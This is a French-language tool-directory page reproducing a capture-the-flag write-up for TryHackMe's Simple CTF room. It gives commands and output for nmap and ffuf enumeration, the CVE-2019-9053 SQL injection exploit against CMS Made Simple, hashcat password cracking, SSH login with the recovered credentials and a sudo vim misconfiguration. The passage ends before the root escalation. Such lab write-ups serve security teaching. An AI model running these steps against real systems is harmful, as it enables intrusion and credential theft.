Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Simple-CTF-Writeup — Procédure pas à pas professionnelle du CTF Simple de TryHackMe couvrant l'énumération, l'injection SQL dans CMS Made Simple (CVE-2019-9053), la récupération d'identifiants, l'accès SSH, l'escalade de privilèges via Vim, et la compromission du compte root. | Kitploit
Outils/GitHubGitHub/imperialx1104/simple-ctf-writeup
Cassage de Mots de PasseEscalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubimperialx1104/simple-ctf-writeup

Simple-CTF-Writeup

Procédure pas à pas professionnelle du CTF Simple de TryHackMe couvrant l'énumération, l'injection SQL dans CMS Made Simple (CVE-2019-9053), la récupération d'identifiants, l'accès SSH, l'escalade de privilèges via Vim, et la compromission du compte root.

Voir le dépôt
18il y a 4 moisPas encore vérifié

Simple-CTF-Writeup

Rapport de résolution professionnel du CTF Simple de TryHackMe couvrant l'énumération, l'injection SQL dans CMS Made Simple (CVE-2019-9053), la récupération d'identifiants, l'accès SSH, l'élévation de privilèges via Vim et la compromission root.

TryHackMe - Rapport de résolution Simple CTF

Un guide complet de la salle Simple CTF sur TryHackMe, couvrant la reconnaissance, l'énumération, l'exploitation, la récupération d'identifiants, l'élévation de privilèges et la capture des flags.


Informations sur la salle

ChampValeur
PlateformeTryHackMe
Nom de la salleSimple CTF
DifficultéFacile
CatégorieExploitation Web et Élévation de Privilèges Linux
AuteurSaahil Gupta (ImperialX1104)

Objectif

Le but de cette salle est de :

  • Énumérer la machine cible
  • Découvrir des services et applications cachés
  • Exploiter un CMS vulnérable
  • Récupérer des identifiants
  • Obtenir un accès SSH
  • Élever les privilèges jusqu'à root
  • Capturer les deux flags

Aperçu de l'attaque

Host Discovery
      │
      ▼
Port Enumeration
      │
      ▼
Directory Enumeration
      │
      ▼
CMS Discovery
      │
      ▼
Version Identification
      │
      ▼
SQL Injection (CVE-2019-9053)
      │
      ▼
Credential Extraction
      │
      ▼
Password Cracking
      │
      ▼
SSH Access
      │
      ▼
User Flag
      │
      ▼
Privilege Escalation
      │
      ▼
Root Flag

Reconnaissance

Découverte de l'hôte

La première étape consistait à vérifier la connectivité avec la machine cible.

Commande

ping 10.49.175.174

Résultat

L'hôte a répondu avec succès, confirmant qu'il était joignable.

Capture d'écran

Ping Scan


Énumération des ports

Un scan Nmap complet a été effectué pour identifier les services exposés.

Commande

nmap -A -v 10.49.175.174

Résultats

PortServiceVersion
21FTPvsftpd 3.0.3
80HTTPApache 2.4.18
2222SSHOpenSSH 7.2p2

Résultats notables

  • Connexion FTP anonyme activée
  • Serveur web Apache en fonctionnement
  • SSH exposé sur le port 2222
  • Fichier robots.txt découvert

Capture d'écran

Nmap Enumeration


Énumération Web

La navigation vers le serveur web cible affichait la page d'accueil Apache par défaut.

URL

http://10.49.175.174

Capture d'écran

Apache Default Page

À ce stade, aucune surface d'attaque évidente n'était visible.


Énumération des répertoires

Pour identifier les ressources cachées, un brute-force de répertoires a été effectué avec FFUF.

Commande

ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200

Résultats

simple [Status: 301]

Capture d'écran

FFUF Enumeration

Un répertoire nommé /simple a été découvert.


Découverte du CMS

La navigation vers le répertoire découvert a révélé une installation de CMS.

URL

http://10.49.175.174/simple

Capture d'écran

CMS Made Simple

CMS identifié

CMS Made Simple 2.2.8

Le numéro de version se révélera plus tard crucial.


Recherche de vulnérabilités

La version du CMS a été recherchée via SearchSploit.

Commande

searchsploit "CMS Made Simple"

Résultat

CMS Made Simple < 2.2.10 - SQL Injection

Capture d'écran

SearchSploit Results

Une vulnérabilité connue d'injection SQL a été identifiée.


Acquisition de l'exploit

L'exploit a été copié localement pour analyse et exécution.

Commande

searchsploit -m 46635

Sortie

CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

Capture d'écran

Exploit Download


Exploitation

L'exploit accessible publiquement a été exécuté contre l'instance cible du CMS.

Commande

python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt

Extraction des identifiants

L'exploit a extrait avec succès des informations de la base de données back-end.

Sortie

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

Capture d'écran

Credential Extraction

Informations récupérées

ÉlémentValeur
Nom d'utilisateurmitch
Email[email protected]
Sel1dac0d92e9fa6bb2

Cassage du mot de passe

Le hash extrait a été craqué avec Hashcat.

Commande

hashcat -m 20 hash.txt --show

Sortie

0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret

Identifiants récupérés

ChampValeur
Nom d'utilisateurmitch
Mot de passesecret

Capture d'écran

Hashcat Password Recovery


Accès initial

Les identifiants récupérés ont été testés contre le service SSH.

Commande

ssh [email protected] -p 2222

Mot de passe

secret

Résultat

Welcome to Ubuntu 16.04.6 LTS

Capture d'écran

SSH Access

L'authentification réussie a fourni un accès shell en tant qu'utilisateur mitch.


Flag utilisateur

Après avoir obtenu l'accès, le flag utilisateur se trouvait dans le répertoire personnel de Mitch.

Commandes

whoami
cd ~
cat user.txt

Sortie

G00d j0b, keep up!

Capture d'écran

User Flag


Élévation de privilèges

Énumération sudo

La vérification des permissions sudo a révélé une configuration intéressante.

Commande

sudo -l

Sortie

User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Capture d'écran

sudo -l Output

Télécharger l’outil